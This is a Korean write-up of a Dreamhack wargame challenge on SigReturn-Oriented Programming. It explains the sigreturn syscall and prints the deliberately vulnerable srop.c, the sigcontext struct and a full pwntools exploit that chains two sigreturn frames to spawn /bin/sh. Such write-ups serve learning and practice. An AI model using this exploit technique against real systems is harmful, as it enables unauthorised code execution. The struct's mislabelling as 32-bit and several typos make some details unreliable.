프로그램은 유저 모드와 커널 모드가 계속 상호작용하면서 실행된다. 따라서 유저 모드에서 커널 모드로 바뀔 때, 현재 상태를 저장해두고, 다시 유저 모드로 복귀할 때, 저장해둔 정보를 이용해 원래 상태로 되돌린다. 이 때, 사용되는 것이 sigreturn 시스템 콜이다.
Context switching
현재 프로세스가 유저 모드에서 커널 모드로 혹은 커널 모드에서 유저 모드로 바뀌는 것을 컨텍스트 스위칭이라고 한다.
sigreturn 시스템 콜이 레지스터 상태를 되돌릴 때, sigcontext 라는 구조체에 따라서 복구하게 된다. 해당 구조체는 아키텍처 마다 다르게 정의되어 있다.
sigreturn 시스템 콜을 악용하여 레지스터 값을 공격자가 자유롭게 조작할 수 있도록 하는 기법이다.
SROP 기법에서 사용되는 예제는 아키텍처에 따라 차이점이 있다.
[*] '/home/pdh/SigReturn-Oriented Programming/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;"
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
위 코드는 위는 Dreamhack - SigReturn-Oriented Programming 문제에서 제공하는 'srop.c' 코드이다. 먼저 이 문제를 분석해보자.
gadget 함수가 존재한다.익스플로잇 코드 순서는 다음과 같다.
read 함수를 호출하도록 설정한 뒤, sigreturn 시스템 콜을 호춣한다.excve('/bin/sh') 함수를 호출하도록 설정한 뒤, sigreturn 시스템 콜을 호출한다.sigreturn 프레임은 SigreturnFrame() 객체를 통해 조작할 수 있다.
struct sigcontext {
unsigned long r8;
unsigned long r9;
unsigned long r10;
unsigned long r11;
unsigned long r12;
unsigned long r13;
unsigned long r14;
unsigned long r15;
unsigned long rdi;
unsigned long rsi;
unsigned long rbp;
unsigned long rbx;
unsigned long rdx;
unsigned long rax;
unsigned long rcx;
unsigned long rsp;
unsigned long rip;
unsigned long eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
unsigned long err;
unsigned long trapno;
unsigned long oldmask;
unsigned long cr2;
};
위는 리눅스 32bit 아키텍처에서의 sigcontext 구조체이다.
from pwn import *
context.arch = 'x86_64'
p = remote('서버명', 포트 번호)
e = ELF('./srop')
gadget = next(e.search(asm('pop rax; syscall')))
syscall = next(e.search(asm('syscall')))
read_got = e.got['read']
binsh = '/bin/sh\x00'
bss = e.bss()
frame = SigreturnFrame()
frame.rax = 0
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b'A' * 16
payload += b'B' * 8
payload += p64(gadget)
payload += p64(15)
payload += bytes(frame)
p.sendline(payload)
frame2 = SigreturnFrame()
frame2.rax = 0x3b
frame2.rip = syscall
frame2.rdi = bss + 0x108
payload2 = p64(gadget)
payload2 += p64(15)
payload2 += bytes(frame2)
payload2 += b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()
위 익스코드의 실행 흐름을 살펴보자.
read(0, bss, 0x1000) 명령을 수행하도록 설정해 준다.sigreturn 시스템 콜을 이용해서 레지스터를 설정해둔 'frame'으로 조작한다.excve('/bin/sh') 명령을 수행하도록 설정해 준다. (rdi = bss + 8bytes(gadget 주소) + 8bytes(p64(15) 값) + 248bytes(프레임 크기))read 함수가 실행되면서 payload2를 입력 값으로 넣어준다.sigreturn 시스템 콜을 이용해서 레지스터를 설정해둔 'frame2'으로 조작된다.excve('/bin/sh')가 수행되며 셸이 따진다.